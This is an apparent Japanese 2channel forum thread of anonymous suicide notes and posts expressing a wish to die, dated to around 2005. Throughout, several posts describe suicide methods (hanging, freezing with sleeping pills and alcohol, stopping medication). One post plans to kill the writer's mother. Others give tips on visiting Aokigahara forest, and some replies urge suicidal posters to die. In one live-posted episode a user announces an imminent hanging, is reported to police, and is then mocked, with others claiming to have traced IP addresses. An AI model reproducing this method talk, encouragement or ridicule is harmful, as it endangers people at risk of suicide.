死死死死死〜

ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。
迷惑ばかりかけて本当にごめんなさい。
私の事は忘れてください。悲しまないでください。
私の事で心を痛めないでください。本当にごめんなさい。
皆に会えて良かったです。ありがとうございました。
何も返せなかった私を許してください。

数人の友達や好きな人には会っておきたいなぁ〜。

恐怖症の総合デパートにして人格も表情も「ない」高度自閉症かつ重度の統合失調症
顔はキチガイ丸出し
めざせ日本最狂

伊藤君
手紙見てから居なくなりたかった。
私に届くように歌ってね。会えて良かった。

母
これからは自分のことだけ考えて生きてね。
お母さんの子に生まれてよかった。

姉
しっかりしないとだめだよ。
これからは姉ちゃんがお母さんを支えてね。
いっぱい稼いで良い映画たくさん観れよ。

兄
お金はもう返さなくて良いからね。
私の分、彼女を幸せにしな。

父
お前が失敗したことを私は成し遂げます。　　　　　
あなたの子に生まれたのを何度も怨みました。
今はもう何とも思ってません。お母さんに迷惑かけないでね。

叶さん
全部お前のせいだ。

たとえそれでも、君はやっぱり思うのかな、
この人生における望みは果たしたと？
果たしたとも。
それで、君はいったい何を望んだのだろう？
それは、自らを愛されるものと呼ぶこと、
自らをこの世界にあって、
愛されるものと感じること。

死んだら終わりなのに、何か残すの？

面と向かっていえないから死んで遺すんだよ。

あたしは遺書は書かないつもり
残るの嫌だから
けど「今までありがとう」ってメモは残すかな
あ。それ遺書になっちゃうのか。。

遺書かあ。面倒くさいから、わざわざ残さないけど、
なぜ自殺したのか、分かる証拠のようなものなら残してみたいかも。

こんなことになってごめんなさい
誰かのせいじゃなく、全部自分が悪いからこの選択肢を選びました。
何度も何度も死にたいと思っては夜が明け日が昇りの繰り返しで、正直疲れました。

最後のわがままです。
葬式はしないで下さい。世間体を気にするならなるべく密葬でお願いします。

>>412,>>413
誰かにメッセージを残さないのは勝手だが自らの意志で逝くことは残しましょう

保守

主治医に矢井田瞳の「一人ジェンガ」の入ったCDを死ぬ前にあげるといったら
気持ち悪がられた。あと髪の毛もいやだといわれた。
やっぱ手紙が一番いいらしい

お父さん、お母さん、今までありがとうございました。
たくさんの愛情をもらって、とても幸せでした。
お父さん、お母さん、大好きです。
どうか、私のことで悲しまないでください。
本当に幸せだったから。
ちょっと早いけど、幸せなうちに先に逝きます。

弟、しっかりしろよ。親は大事にしろ。
お前はやればできる奴だよ｡
心配しないで堂々と生きてくれ｡

大好きな人へ｡
本当に今までありがとうね｡
心配もいっぱいかけたね｡
本当にごめんなさい｡
あなたと過ごした時間は、本当に幸せでした｡
心から、愛しています｡

早く私のことは忘れて、幸せになってね｡

あなたが本当に、どうか、どうか幸せでありますように｡

ありがとう。
ありがとう。

これでもう私を忘れて｡
さようなら。

もしかしたら自分がやられるかも・・と一応書いてあった。

みんなのこと大好きです

もう耐え切れそうにありません

家は、私の居場所じゃなかったです。
あなたも、私の居場所じゃなかったです。

苦痛でした。生きてることも、みんなと接することも。
好きだから苦痛でした。
さようなら。

コレは病気の症状なんだ、とか言い聞かせつつ生きてるけど、母は否定している。
怠けだって。
私自身もそれ考えてると死にたくなる。
すみません。お母さん。
すみません。弟。
皆さん、お世話になりました。
いろいろありがとう。

お母さん、なんで今愛してくれるのか分かったよ。病気になって、責任感じてるからでしょ？こんな知能・人付き合い・容姿・・魅力にとぼしいデブ娘でごめんね。もっと美しくて元気な娘を生むべきだったね。出来損ないのゴミでごめんなさい。そのうち消えるから、安心してね。

生命保険入ります。皆様の役に立てない人間ですみません。いなくなって喜んでいただける方が一人でもいたら幸いです。
さようなら。

保守

レイプされるのと、人に殺されるのだけはいやだ。
事故死もいやだ。
寿命前に死ぬのなら、絶対自殺という方法を取りたい。
そろそろ実行するかもしれない。

でももしかしたら、思わぬところで死ぬかもしれないので
前もって遺書を書いておこうと思う。
今まで自分をいじめてきた野郎たちの名前、虐めの内容などを詳細に書こう。
虐めや悩みを相談したのは世の中でただ一人母親しかいない。
だから生前相談しなかった、母親以外の家族にわかってもらうために
遺書には今まで自分が学校で作った嫌な思い出を
しっかり書くともりだ。

母親以外の家族の前では、たとえ外で嫌なことがあっても
顔にすら出したことはない。
学校を辞めた理由も、虐めではなく、
学校がつまらない、たいした学校じゃなかったから
と、いう風に話してあるし。

母親以外の人に、虐めに合ったなんて相談できない。
祖母や父親に一度相談しようと試みたことがあったが
真面目に聞いてくれていない雰囲気だったので
もう相談したくない。

母親を殺して自分も死のうと思う。
母親が生きてたら自分が先に死ぬことはできない。
こんな居心地の悪い家族の中に母親を残して、自分だけ死ぬなんてできない。
計画を立てないといけない。

>>28
＞メンヘラをお洒落なファッションやライフスタイルとして考えてるのが女ってやつ。
＞趣味でやってんだから男はいちいち本気にしちゃダメだね。
こういう言われ方されたら何も相談できないね。
男の悩みは全部本気だけど、
女の悩みは全部嘘や遊びだって言いたいのか。

外にも出れやしないのに、ファッションもライフスタイルもあるか。
こんなライフスタイル好き好んでやってやしない。
周りの、就職して友達たくさんいるような友人みたいなライフスタイルでありたいよ。
悲劇のヒロインになんて誰がなりたいかよ。
それじゃあ楽しい人生送れないだろ。

兄貴画像ください

自分が死んだって悲しむ人はいない。
母親以外。
逆に私が死んだらみんな喜ぶのかもしれない。

今度はもう生まれてきたくない。
人間の女には絶対。

死にたくて、目を閉じた…
僕の全て、無に還し
記憶から消えたいと眠れず考えていた

ﾔﾊﾟｰﾘ(・∀・)ｲｲ!!

わかってる

自分のせいなのを他人のせいにするのは簡単。でも自分が悪いってわかってるだから誰のせいにもできなくて自分を追い込め責めるるしかない。

死にたい、死んでしまいたい、死んでなにも考えず無でいたい。もう生まれ変わりたくなんかない。消えたいこの世から。

がんばる理由がなにも見つかりませんでした

おまいらは、生きろ。
生きてくれ。

少なくとも、俺よりは存在価値がある。
少なくとも、俺よりは誰かの希望になっている。
俺が死ねば、何もかも上手く行く。

だから、おまいらは生きろ。

親に遺書を書きたいのですが、やっぱり手書きのほうがいいのでしょうか。
手書きだとあんまりかけそうに無いですが、パソコンなら結構かけそうなのです。どちらがいいんだろう・・

私はひとりぼっち。そんな感覚がずっと何年も付きまとう。
誰かに優しくされたり、誰かと笑ったりしても
自分の部屋に帰ると泣いてしまう。やっぱりひとりぼっちだ、と。
なんでそう感じるのかわからない。
いままでの私の生き方が自分自身許せないから。
誰かを裏切り嘘を吐き傲慢で自己中。自分で自分をとても許せたもんじゃない。
死ぬべきだ！死ぬべきだ！死んでやる…
のうのうと生きてる自分が許せない。死んで詫びたい。

生まれてきてすみません。

みんな死ね」

みんな死ね」

死にたいならさっさと死ねばいいじゃん

死にたい　消えたい

1月か2月になったら北海道で凍死します。その間風俗で毎日働いて出来る限りのお金を稼いで親と愛している人と子供へ残そう。
長年死ぬ事が夢だった。やっと、やっと楽になれるんだ…
最大の親不孝しちゃうけれど…子供という生き甲斐を無くした今はもう生きるのは苦しいだけです。自殺衝動に何度もかられながらもあの子達が救ってくれた。無条件で愛したあの子達がいないならもう未練はない。
両親は狂うほど悲しむだろう…
パパ、ママ、私は助けてもらいたいんじゃなくて楽にしてもらいたいの。子供に死なれるなんて自分に置き換えて想像したら気が狂いそうだけれど…
そんな心を分かった上で命を絶つなんて最低だ。
今は残せるものを頑張って残そう。
また2月に遺書書こう。

死にます。
ありがとう。。。

今から死のうと思うんだけど、誰にも残したい言葉がない。
なんだったんだろ、私の人生。

>>443なんのために生きてるのかわかんないような人生だけど、でも私は生きています。
>>なんだったんだろ私の人生
そう思うならまだ、死ぬな。

>>444
うん。失敗したらもうちょっと生きてみるよ。
生きる意味より理由が欲しがったな。

誰か。。。

>>445
おい！待て！

そろそろ会社行く時間だゾ。眠いぞー昼ころ。。

>>447
なに？

こないだ行ってみた。ネットでは初公開になる写真↓
http://moenyan.dyndns.org/up/file/src/up0105.jpg

栗原亨氏の『樹海の歩き方』で「謎のお堂」として出ていたところ。
カラー写真で世に出すのはこれが初ではないかと思われ。

確かに謎。なんでこんな樹海のど真ん中にお堂が建っているのか。
だれが、何の目的で立てたのかは不明。
お堂の中は供物が備えられてますた(´･ω･`)

冬に樹海に行くと、どうも自殺志願者と勘違いされるから
秋にまつたけ狩り風で行くといいみたい。
「天然の、まだ人の手に触れていないうまい松茸が多数ある」と地元住民。

さて、もう少し起きようかな。

>>449
親が生んだからじゃ理由にならんか？

>>451
親っていうのが自分の中で希薄すぎてわかんない。
何かなにもない。
からっぽ。
笑っちゃう。

>>452
からっぽの方がこれから一杯詰め込まれると思う！
何だか…いきなり土足で踏み入れるのもなんだけど…
死ぬ理由は何かあるの？

ID:yT/iVdkpたんよ。

誰にも残したい言葉がないなら、
周りとの接触は保たないと、自殺思考（嗜好）にまっしぐらだよ？
関わりを失うと、自殺に走りやすい(´･ω･`)

グロはのっけられないんで、こんな写真も初うｐ。
http://moenyan.dyndns.org/up/file/src/up0106.jpg

樹海で首吊って死ぬと、こんな感じで地元住民や警察に「死亡確認」の印が付けられていく。
んで、２〜３年残る、風化されるまでね。

自殺は、科学的に見れば自殺者本人の脳内のシナプスの電気の発火が終わるだけなんだけど、
時間の流れでみると、シナプスの発火が終わったあともしばらく
他の脳内をくすぶらせるんだよね。困ったもん(´･ω･`)
でも当人にしてみれば、周りがほとんど目に入らなかったり
周りのことなど知ったことじゃない感じになってること多いし。

>>453
24年間生きてきてからっぽなんだからもう詰め込むものなんてないよ。
理由は色々あるけど、ごめん上手くいえない。
頭ぐちゃぐちゃで分からない、ごめん。

さてと。新宿の鈍器行ってこよう。
腱鞘炎っぽいからバンテリン買って塗ってみる(´･ω･`)

>>454
周りとの接触がうまくできないからまっしぐらだね。
自分の場合。

明るくなってきた。怖い。

>>456
そりゃそーだ上手く言えないだろーな…
てか俺と1つしか年変わらんのに…っておい！
いきなり今から死にますなんて言うなよな！
あっ理由見つけた！今パソしてるから！！あーもう何でもいいったい！
生きる理由げな無いのがホント！・・・・自分でも何いいよるのか
解らんくなってｋたっちゃけど・・・・突発的なのか？

>>459
ずっと前から。
実際決めるのにははずみがいるんだね。自殺でも。
何かね、全く一人で消えてなくなるのが怖くて書き込んだんだけど最後に誰かと話せてよかった。ありがと。

>>460
おい待て！待て待て！待て！！
もう少し話そうや！！！
おいまだだめ！！

周りとの関係が自殺の大きなひきがねだとわかってるなら
それをなおすか、周りに頼んでなおしてもらうか、周りに頼むのきついならそれとおぼしき信号送るとか。

>>461
外が明るくなりきると死ねなくなるからあんまり時間ない。

>>463
どうやって死ぬ気なんだよ？薬か？

>>464
首吊り。

>>463
おい！！
返事は！？

俺はお前からの返事を待つ！！

外はいたって正常に日の出完了（´・ω・｀）


ここ気になって見たり書いたりでバンテリン買うのおそくなったよ。
キミはそういう周りへの配慮もできなくなってる。
病院行きな。行くと約束できないなら通報してそこに（ｒ

俺が追い込んじまったとかいな…

>469
気にしてたらキリがない。
またすぐにネクストがくる。

ただ話し相手になるだけだと同じことくりかえす人はあとをたたないし
ネクストは次々来るから話し相手するにも限界あるよ。

かつて自殺の思いが強かった者として言っておくよ。
樹海の写真みたらワタスのくぐってきた修羅場の数は想像できっしょ。
何人か周りで死人出たしね（´・ω・｀）

じゅんびできた>>467ありがとう

>>471
俺にありがとう言うのはアンタが閻魔様にソッポ向かれた時だけにしてくれ！！
それ以外のありがとうはいらん！！

ん？逝くのか？逝くのか？

力強く生き続けていたつもりが、静かに病み続けていて、確実なデクレッシェンドの果ての終点にたどり着きました この先はもうありません 最後に汚部屋だけでも、ペットだけでも責任を持ちたかったのですが、その気力もなく、汚物にまみれて屍を晒す事をおわびします

１１０通報完了！
悪く思うなよ（´・ω・｀）
初犯ならしっかり周りとの関係なおして帰っておいで。またね

>>475
助かるの？コイツ助かるの？？

親に見つかった。恥ずかしい

ｱﾀｼも連れてってよ｡ﾟ(ﾟ´Д｀ﾟ)ﾟ｡
死にたい死にたい死にたい死ねない

>>477
何やってんだかｗ

>>477
ほんとか？よかった！！親御さんＧＪ！！！！！！！
軽々しく使いたくない言葉やけど…まじで心配した

皆大ッ嫌い死んでやる

釣りでしたと

>>483
え？

>>480に申し訳ない(ﾉ∀`)

でしたと

>>486
ようは誰も死んでないって事やろ？

最初から釣りなんだから、誰も死なないわな

なら結果オーライ

>>489
ごめんね。いい人だね。

>>490
いや多分普通に誰でも心配するって…その当の本人にとっては
迷惑な事になるかもしれんとやけどね

帰ってきた（´・ω・｀）


予想どおりの展開だ。
これを不定期に月最低一回はくりかえす。
この子ははじめから死ぬ意識レベルじゃなかったのは、
警察の二文字を読めたことで分かる。

警察に記録残ったから、まあ下手な動きしたら、初犯じゃないようだから、面倒なことになると肝に命じなさい。

>>492
でも釣ったなら釣ったで少しは心が病んでるんだろし…
ほんとならほんとで思いとどまったからよしとしましょ＾＾
俺んちの裏山にも写真みたいなマーク付いてる木
が2本ぐらいあったよーな…

http://moenyan.dyndns.org/up/file/src/up0107.jpg
こんなのもある。
すずらんひも（１００円ショップとかで売ってる荷造りひも）を、
上の赤のインキ代わりに使う場合が最近は多い。
ひもなら、樹海奥地での探索で迷う確率を下げれるからね(´･ω･`)

>>491
> いや多分普通に誰でも心配するって…

これが何度も続くと、だんだんそうは思えなくなってくるのが「普通の」人間の感覚だと思う。
この子は名無しでこのままトンズラしちゃって
また後日同じ流れで「死んでやる」と１時間くらいねばって
また通報されて・・・の繰り返しになる可能性が極めて高い。
たしかに、本当に死んでいる人はこのスレから過去出ている。
でもそれは、自殺予告した数からすると、０．１パーセント未満(´･ω･`)

しっかし。

486 名前： 優しい名無しさん [sage] 投稿日： 2005/10/01(土) 06:48:19 ID:J5Rslumy
>>480に申し訳ない(ﾉ∀`)

↑生理的に、この顔文字をこういう真面目な状況下で使われると本当に腹立たしい。

本日の加害者　ID:L5ZeB426

◎実被害
　・バンテリン買うのが３０分も遅れた
　・ID:L5ZeB426初回書き込みから約２時間、頭の中でL5ZeB426のことが一杯になり
　　他の作業に支障を来した
　・しかしID:L5ZeB426は反省の色なし。何度も同じことを繰り返し周りを巻き込んでいる模様
　・ID:tU4jdxyVは約２時間半ＰＣに付きっきり。しかし、ID:L5ZeB426は反省の色なし。

◎結論
　・病棟での治療が必要と考えられる。閉鎖・開放は問わない
　・薬物療法にもっと重きを置くのがいい
　・周囲を巻き込んで迷惑をかけた場合には、自分が制裁を受け苦しむという事実をわかってもらいたい

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　以上(´･ω･`)

重要なことを書くのを忘れていたよ。
http://www.geocities.jp/zyukai_gokuro/index.html
ここにまとめたから見ておいて。
ID:L5ZeB426について大事なことをかいておいたから。
んじゃ、おやすみ(´･ω･`)

>>497
ﾁｸｼｮｰ

>>497
> やあ(´･ω･`)　ＩＰ抜いたよ。協力ありがとう。
> 民主社会の一市民として、警察に協力させてもらうよ。
だってｗ

さて。
ヤフーＢＢ、ユアネット、ＫＮＧＷインフォＷｅｂの３人。
どれがどれだね？

博多弁ってかわいい(´･ω･`)

>>500
> どれがどれだね？
分からなきゃどうしようもないじゃん。
馬鹿だねぇｗ

自首を要請してみたんだがね。だめかい(´･ω･`)

あんまり手荒な真似して調べたくなかったんだ。
ま、手荒というほどでもないけど。

ヤフーとユアネットは、発信所在地確認。
インフォウェブは神奈川某所。
これ以上ここに書くと警察に奉公できなくなるんで勘弁ね。

http://www.keishicho.metro.tokyo.jp/anket/other.htm
ここにはタレコミ済。
あとは電話で通報しますよ。まんどくせ(´･ω･`)

>>503
しかし、馬鹿だねぇｗ
なんて通報したの？　ＨＰ覗きに来た奴のＩＰですって？

ID:L5ZeB426 は、回線切ってID変えたようだね。

その候補は次の三つ。

　ID:jagu9jrx
　ID:J5Rslumy
　ID:VO0ZpZCh

さっきまで「じゅんびできた>>467ありがとう 」と言ってたのは

　　　　　　　　　　　　　　　　　　　　~~~~~~~~~~~~~
　　　　正　　真　　正　　銘　　の　　演　　技　　で　　し　　た
　　　　　　　　　　　　　　　　　　　　~~~~~~~~~~~~~

レシーブ→トス

>>504
> ID:L5ZeB426 は、回線切ってID変えたようだね。

ここ読んでなにも思わず「馬鹿だねぇ」と結論出してしまうんなら
キミの厨房っぷりに反吐が出るよ(´･ω･`)

ワタスは、名無しの煽りに興味はない。
それは、チラシの裏どころか、便所の落書き以下の情報価値に過ぎないから、ほとんど見ていない。
空気に等しいね。

こんなキチガイからいちいち報告受けてたんじゃ警察もたまったもんじゃないなｗ┓(´д｀)┏

候補に入ってる…(´･ω･`)

>>509
仲間＼(^O^)／

気持ち悪いから、フシアナやっとこｗ

死にたい。
私を産んだ両親を恨む。
殴り続けられて今も私の心をかきむしる記憶を植え付けた父を恨む。
自分の幸せの為に私や何もかもを捨てた母を恨む。

何かが楽しくても両親に愛されてないと感じるだけで何もかも虚しい。
生きてる価値を感じない。
どうせ重荷だし
どうせ恨んでいるので
消えたい。

死にたい死にたい死にたい死にたい死にたい死にたい

死にたい

死にたい

死にたくない

死にたいとゆーより、消えたい。
自分の存在がなかったことにしてほしい、
無理だけどさ

今から、消えます。

今回はまじで死のうと思う。てか、もう生きるの疲れたし。
本当はいつ死んでもいいやって思ってた。でもさ、借金まみれなんよｗ
返せないんだよ。今日50万返すの無理。だからしかたない。
携帯もなくなるし・・。彼からも連絡こないし、
どうせ叶わない恋。あたしはあんたの玩具でしかないもんね。
あたしの心なんて見ちゃいない。でももういいけどね。
ＹとＫとの約束守れないや・・。ごめん。
17年かぁ・・・。そんだけ生きりゃぁ充分だ。
うちにはあとの人生、絶望があるだけにしか見えない。
みんなありがと。さよなら。

この掲示板を友達や家族が見てるわけないのにこんなに書いちゃったｗ
あー、あと20時間ぐらいか。

自分が一番不幸なんて言いません。でも自分が一番無価値な人間だと思います。無価値な人生です。本当に。そろそろ終らせたいです。もう無理です。

以前別れたのも、よりを戻したのも、
再び別れようと言ったのも彼氏の方
毎回振り回されて鬱になってしまった
そんな私を重荷に思うから別れようって…
いくら振り回されるとはいえ
貴方がいない人生はいらないよ
車に乗ってる時に事故で一緒に死にたかったなぁ
お互い最後の人になれたのに…
それも叶わないから一人で逝きます

遺書
http://life7.2ch.net/test/read.cgi/hikky/1131721566/

1 ：（-＿-）さん ：2005/11/12(土) 00:06:06 ID:c8ORgNq80
この世に生まれたことが全ての間違いでした
このまま生き続けても絶望しか見えません
僕が死んでも世間は
「また引きこもりが自殺か」と言って直ぐに忘れられるでしょう
でも他人に愛され必要とされる人よりは
僕みたいな必要とされない欠陥品が消えた方が良いでしょう
お父さんお母さん、僕を生んでくれて有難うございました
貴方がたより先に死ぬ親不孝をお許し下さい
短い一生でしたが後悔はしません
今度生まれ変われたら普通の幸せが欲しいです
ではさようなら

11/12　0：09

乙 (^_^)ノサヨナラ〜

お通夜とか、いりません。
周りの人を不幸せな気持ちにするだけだから。
今でも迷惑かけてるのに、死んでからまで迷惑かけたくありません。
人生を思い返してみました。
楽しいこともあっただろうけど、辛いことばかりが思い出されます。
私を笑いながら裏切った恋人、平然と私を騙していた恋人、お前なんか死ねばいいと言って匙を投げた恋人。
全部私が悪いのでしょうね。
これだけ願っても、いつもいつも裏切られて死ぬほど辛い思いをするだけ。
その都度すがってきた私が一番のバカだった。
誰かに、必要とされたかった。
私の存在価値を認めてくれる人だけが欲しかった。
でも、もう信じられない気がする。
誰のことも。
誰一人信じられない人生が、こんなに辛いということを学びました。
私が死んだら、内蔵、皮膚、頭髪、あらゆるものを必要な人に提供してください。
私が命を絶ったことを知って泣くであろう皆さん、ごめんなさい。
今は優しい人がよく会いに来てくれて、とても幸せなんです。
けど、その人に将来のことを聞くと、お茶を濁されるだけです。
それが一番辛いんです。
だからそのことはとりあえず忘れて、幸せな光景だけを思い出しながら
もうすぐ命の時間を止めたいと思うんです。
あの人もきっと、私の前からいなくなる。
だけど、もう同じようなことで絶望感や孤独感を味わうのは死ぬよりもずっと辛いんです。
だから、もう終わりにしたいと思ったんです。
あの人が私を好きだといってくれている、今の幸せな気持ちのまま、終わりにしたい。
それが私にとっての一番の幸せなんだって、誰か一人でもいいから分かって下さい。
眠るように、時間を止めます。
それじゃ、またね。

付き合えるだけいいじゃん。
いま何もない。普通に持ってるだろうものは何もない。
今生きて来て最高に孤独で死にたい。今なら別に死んでも失うものがない。
生きてるだけ無駄。早く死んだ方が金かからないしいいな。

死にたいので死にます
さようなら

市ねた人がうらやましいよ

死にたいよ

しにたいしにたいしにたい

楽に死ねるなら今日寝てもう起きなければ良い。明日が来なければ良い。
もう悪いこと起きて欲しくない。

もう死のう

将来が不安で仕方ない。大して勉強しないで何も才能がなくて
第一やりたい事すらなくて、あるのは大学名くらいで何になるんだろう。
誰かに依存しないと不安でおかしくなるし、その依存相手の事を信用できなくて
被害妄想ばっかり出て自分を苦しめて。理不尽な怒りばっかり。
全部自分が悪いのは分かってる。
今まで育ててくれた親には本当に申し訳ない。慕ってくれた友達も
協力してくれた教師達もみんな申し訳ない。
でももう不安と被害妄想と怒りに苛まれながら生きるの疲れた。

何も期待なんかしないで生きてるのにしんどい。
温かい布団の中で永遠に眠りたい。

もう死にたい…
でも童貞を捨てられなかったことが唯一の気掛かりだ…

>>534
つ【風俗】

死にたい
出来れば楽に死にたい

私も眠るように死にたい。この世では生きていけない。

頭も悪いしまだﾊﾀﾁなのに夢も無いし、特技も何もない。性格も悪いし、頭もおかしい。あるのは愛想だけだけどそれもただの見せ掛け。生きていても何もないからもういなくなりたい。

迷惑掛けてごめんなさい。
もう怖い。生きるのが怖い。
辛い事に立ち向かう事も出来ない。
早く消えたいです。

消えれば？

消えかたが知りたい

遺書･･･そんなお題で書き始めましたφ(｀д´)ｶｷｶｷ
もし良かったら見てやってくださいm(._.*)m
http://ameblo.jp/little-yume/entry-10006179655.html

芸能人で死んでもらいたい奴が一匹いるから　そいつが死なない若しくはテレビから消えない限り耐えられません

死にたいと思ったけど
実際、ああ死ぬ
って場面になると

怖いよまだ死にたくないという感情が優先する
まだ何か期待してるのかもしれない
この世に

まだ完全に希望を捨てきれていないんだ
中途半端に残された希望って逆に辛い

やるなら感情も理性も吹っ飛ばす勢いで死ななきゃ駄目だね

そうだろうな、実際死ぬと思ったら怖くて死にたくないと思うんだろうな。
希望とか未練じゃなくて死が怖い。眠るように、寝てるうちに死ねたらいいな。

まず部屋きれいにして見られたくない物捨てないとな…。

鬱だSNOW・・・

死にたいよ

確実に一気に考えないうちに即死で

今すぐ誰かが殺してくれないか

冬が来た。　
睡眠薬飲んで、酒飲んで寒い外で眠る・・・。
毎年こんなこと考えている漏れ。
凍死しできないかな・・・。

今が人生で一番孤独で辛くて自分が大嫌いで死にたい。
中3に戻って勉強して高校からやり直したい。
本当に死にたい。怖いからまだ実行出来ないけど。
もう生きててもしょうがない。

もう無理です
さかのぼること５年前
当時の彼女は友達と浮気した
そのままもうじき結婚するそうです
本気ってやつですか。
きっと披露宴では「思い出の場所」とか「初デートの場所」とか
まだ僕と付き合っていた頃に行った
○○高原がでるんでしょうね。
まわりのやつらにも騙されてた。
うつ病とパニック障害になった。
どうすることもできない。
死をもって抗議する

つ【希望】>>551

>>551
私も浮気されました｡死んで抗議しようって気持ち痛い程わかります｡でも今のあなたに心から死なないでほしいと思うのはなんででしょうね｡私だって相手に結婚なんかされたら何が何でも死んでやります｡けど､あなたには言いたいです｡死なないでください｡

とか言いつつ私も死にたい

552>>つ【希望】>>551

意味解らぬ
初心者板で探すほど余裕もない
ごめんDQNだから

>>553-554

まだ生きていますよ。
死に切れない恥ずかしい奴です。
最終手段ですね。
５年間は見返してやろうってがんばってきたけど
もう無理・・・
つかれちゃった・・・
田舎なのでそのうち子供つれたりしている
スーパーとかで会うこともあるでしょう。
耐え難いですよ。

彼氏ネタやめてもらえません？
いろいろなことを思い出してしまうんです。
もう忘れたいんだよ。
心の中にとどめておくことは無理ですか？
なに書いてもいいのが２ちゃんなら仕方ないですが。

>>556

556さん失礼しました。
556さんを傷つけるためではないです。
心の中にしまっておけず
ここなら吐き出せそうだったので・・

もう書き込みません

>>556
それ言わなくてもいいと思うんだけど…

>>556
ワガママだなぁ

>>558-559

まぁまぁそんなにせめないであげてください。
どこの世界でも賛否両論はあります。

>>551です
あっちなみに生きてます。
死ぬのやめました。
なーんかあほらしくなっちゃいました
なんでバカどものために死ななきゃいけないのか
でこれで私の遺書は終わります。
またちょっと書いてしまいました。

>>556
ごめん

いい板ないかな〜〜
疑問におもいはじめまして・・・
その彼は中古車買うって言ってたので
一言「中古すきだね」って言ってあげました。
披露宴には普通に祝電うってあげようと思います。
それでなにも感じない人ならそうとうイカレテル
ってかそれまでの人
略奪愛は成功しないって言うし
彼女もそうゆう「癖」のあるひと
くれてやるっってかんじ〜〜〜

↑文章へんになっちゃた失礼

生まれてごめんなさい
存在してごめんなさい
誰も私のことなんて望んでいないのは分かってました
死んだらきっと皆で喜ぶのでしょうね
このまま居るのは苦痛だから遠くに行こうと思います
さようなら

(^ε^)♪ギラギラただただ生きろ豚ども

さようなら

あたしも遠くへ…　誰も知らない場所へ　あたしのために泣いてくれる両親、生んでくれてありがとう　親不孝をお許しください　すみません

生まれてきたくなかった
サンタさんプレゼントは死を下さーい

今まで関わってきた総ての人ｺﾞﾒﾝﾅｻｲ
ｺﾞﾒﾝﾅｻｲｺﾞﾒﾝﾅｻｲｺﾞﾒﾝﾅｻｲ
もうちょっと我慢しようと思ったけどさ。もうだめだ……

ちくしょう 死んでやる 死んでやる 死んでやる

お母さんごめん

海は遠いので、荒川に捨ててください。

ここに書き込みされている方々ってホント優しすぎる人たちなんだと思った
逆に傷付けた人たちってどういう今気持ちなのかな〜って思う

生まれてごめんなんて、、悲しすぎる。
自分から命止めるなら、自分を傷つけた奴のせいにしたって
良いんじゃない？

神様救って上げて？？
なぜ心優しい人が傷つき自ら命を経たなきゃいけないのか？？
生まれた時代を間違えたから？？
弱いから？？

ここに来ている人たちだけの世界・・・星だったらきっと？？
青空と青い海と笑顔の溢れる世界、皆で一緒に笑って生涯をまっとうできる
そんな世界だったと思う。神はそういう世界を作りたいんじゃないんですか？

神はなぜ善良な人、悪の人、弱い人、強い人、優しい人、酷い人を
一緒の星に生かされているのか？

そういう自分も自分に傷つき誰かを知らぬ間に傷つけているのだと
思います。

いつまで生きようかねぇ・・・

小学生の頃から特に理由も無く若いうちに死にたいと思ってたけど
もう20になってしまう
この先は病気になっても直さず死のうと思ってる俺

死にたいけど助けて欲しい・・・
もうわけが分からない。

バカヤロー！おまえら死にたい死にたいって、本当はもっと生きたいんやろ？何回挫折したってまた歩きだせよ、俺は学生やけど対人恐怖で青春を失った、けど絶対この先の人生で挽回してやる。この先どんな苦しんでも、ぜったい！

絶対にこの先の人生で挽回できない特別な理由があります・・・

何した？

色んな事に絶望してしまった。
信じられる人が居ない。
好きな友人は居る。友人は多い方だと思う。けれどどうしても彼らを信用する事が出来ない。
いつでも裏切られるような、自分を嫌っている予感がぬぐえない。
そういうものだとけれど割り切ることも出来ない…

自分は毎日頑張って生きているつもりだ。
友人達は頑張ってるよね。と言う
けれど何も頑張っていない。全部張りぼてみたいなものだ。
ただ、毎日が苦しい。とても、苦しい。
この世で一番憎いのは自分。
誰の記憶からも、何も無かったかのように消えてなくなってしまいたい。

さようなら。

やりたいことがない
朝がこなければいいって、何回思っただろう

>>578
お前は俺かと

もし物事に向き不向きがあるとしたら
自分は生きてくのに不向きだと思う
みんなどうして普通の顔して生きていけるんだろう
自分には辛くてたまらない

俺は普通の顔をしているから普通の顔をして生きている。トートロジーだな。
普通の顔をすれば普通の顔で、死ななければ生きるに決まってんじゃんｗ
普通の顔をして自殺しなければ普通の顔をして生きていく。あたりまえだろ？

何も無かった頃に戻りたい。
さようなら。

>>578,581
あなたたちはわたしかと

>>584
わたしも何もなかった頃に戻りたい。
いつから選択間違ってたんだろう。
こんな人生、もう嫌だ。

被害者顔するなよ・・・
ｵﾏｴの家族が同じ事をされたらどう思う？
ｵﾏｴが与えるｽﾄﾚｽで血吐いたよ。
こっちが泣きたいよ・・・

頑張れよ！お前等のはただの甘えだよ！やる気だせよ！死ぬなんて言ってる暇があったら生きて社会の役にたてよ！死なれると迷惑だしよ！

職歴無くて
就活しても負け続けで
回りと比べてみると気付けば完璧下流層で
年金未納で
学生時代の奨学金返済残ってて
唯一鬱でも支えてくれた恋人にも先程フラれて
死ぬことへの道しか見えなくなりました。
少しの間迷惑をかけてしまいますがお許し願います。
両親、その他回りの方々、ごめんなさい。
お世話になりました。人生で初めて自決と言う悪いことをしてみます。
ごめんなさい。ごめんなさい。

独り言ｽﾚと間違えて誤爆した。
まだ死なねーよ。
完全燃焼してから死ぬってあの人に誓ったんだよ。
そうじゃ無いと、あの世で口を利いてくれないからな。
体が回復したら頑張る。

私は鬱病ですが来年結婚しようって彼と約束していました。
遠距離なので夏に３か月彼の家に遊びに。
一昨年１年間同棲してたころはうまくいってたのに
今回いろいろなことが重なって彼も鬱病になってしまいました。
鬱同士一緒になるのはやめたほうがいいとフラれました。
やっぱり…というのはあったんですが相当凹み、マジで死にたくなりました。
自殺はできないので持病を悪化させて逝こうと断薬してます。
だんだん悪くなってるのがわかります。
早く逝きたい…
長文ｽﾏｿ

590
どんまい（´・ω・｀）

来年の４月12日。自分の誕生日までに

生きたいと思える事
楽しみ
大好きだった彼ほど愛せる人


この中の一つすら見付けられなかったら死のうと思う。
ﾀｲﾑﾘﾐｯﾄでも決めなきゃいつまでもｽﾞﾙｽﾞﾙいくだろう…

死にたいなあ。過去に戻ってやり直したい。
戻れたら絶対今のようになる選択をしないようにする。
何個もあった選択肢の中から最悪なものを選び続けてしまった。
色んなことから逃げてきてしまったからだ。
何もかもどうでもいい。

みんな考えは一緒だね。

どうして未来へは進めるのに過去には戻れないんだろう…

未来なんか欲しくないからあの時が永遠と続けば良かったんだ…。

美咲天使

